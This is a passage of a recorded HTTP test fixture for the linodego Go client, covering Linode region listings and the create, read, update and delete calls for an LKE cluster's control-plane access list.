"1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17,172.232.0.16,172.232.0.21,172.232.0.13,172.232.0.22,172.232.0.9,172.232.0.19,172.232.0.20,172.232.0.15,172.232.0.18", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21,172.232.32.23,172.232.32.17,172.232.32.18,172.232.32.16,172.232.32.22,172.232.32.20,172.232.32.14,172.232.32.11,172.232.32.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19,172.232.160.21,172.232.160.17,172.232.160.15,172.232.160.18,172.232.160.8,172.232.160.12,172.232.160.11,172.232.160.14,172.232.160.16", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4,172.233.0.9,172.233.0.7,172.233.0.12,172.233.0.5,172.233.0.13,172.233.0.10,172.233.0.6,172.233.0.8,172.233.0.11", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36,172.233.33.38,172.233.33.35,172.233.33.39,172.233.33.34,172.233.33.33,172.233.33.31,172.233.33.30,172.233.33.37,172.233.33.32", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24,172.232.128.26,172.232.128.20,172.232.128.22,172.232.128.25,172.232.128.19,172.232.128.23,172.232.128.18,172.232.128.21,172.232.128.27", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17,172.232.96.26,172.232.96.19,172.232.96.20,172.232.96.25,172.232.96.21,172.232.96.18,172.232.96.22,172.232.96.23,172.232.96.24", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44,172.233.64.43,172.233.64.37,172.233.64.40,172.233.64.46,172.233.64.41,172.233.64.39,172.233.64.42,172.233.64.45,172.233.64.38", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19,172.232.192.18,172.232.192.16,172.232.192.20,172.232.192.24,172.232.192.21,172.232.192.22,172.232.192.17,172.232.192.15,172.232.192.23", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34,172.233.160.27,172.233.160.30,172.233.160.29,172.233.160.32,172.233.160.28,172.233.160.33,172.233.160.26,172.233.160.25,172.233.160.31", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23,172.232.224.32,172.232.224.26,172.232.224.27,172.232.224.21,172.232.224.24,172.232.224.22,172.232.224.20,172.232.224.31,172.232.224.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45,172.233.128.38,172.233.128.53,172.233.128.37,172.233.128.34,172.233.128.36,172.233.128.33,172.233.128.39,172.233.128.43,172.233.128.44", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nz-akl-1", "label": "Auckland, NZ", "country": "nz", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-den-1", "label": "Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-1", "label": "Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-1", "label": "Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-1", "label": "Johannesburg, ZA", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-1", "label": "Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-1", "label": "Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-1", "label": "Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-1", "label": "Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 38}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 14 Nov 2024 18:41:25 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"],"labels":null,"taints":null}],"label":"go-test-def","region":"ap-west","k8s_version":"1.29","tags":["testing"],"control_plane":{"acl":{"enabled":true,"addresses":{"ipv4":["10.0.0.1/32"],"ipv6":["1234::5678"]},"revision_id":""}}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 267609, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-test-def", "region": "ap-west", "k8s_version": "1.29", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "237" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 14 Nov 2024 18:41:38 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/267609/control_plane_acl method: GET response: body: '{"acl": {"enabled": true, "addresses": {"ipv4": ["10.0.0.1/32"], "ipv6": ["1234::5678/128"]}, "revision-id": "4f79fce1dcc4428cbb3d7689ed2ca02e"}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "145" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 14 Nov 2024 18:41:39 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"acl":{"enabled":true,"addresses":{"ipv4":["10.0.0.2/32"],"ipv6":[]},"revision_id":"test-revision-id"}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/267609/control_plane_acl method: PUT response: body: '{"acl": {"enabled": true, "addresses": {"ipv4": ["10.0.0.2/32"]}, "revision-id": "0918bd479bfa4b7f9a9dbf4eff5d342d"}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "117" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 14 Nov 2024 18:41:42 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/267609/control_plane_acl method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 14 Nov 2024 18:41:44 GMT Pragma: - 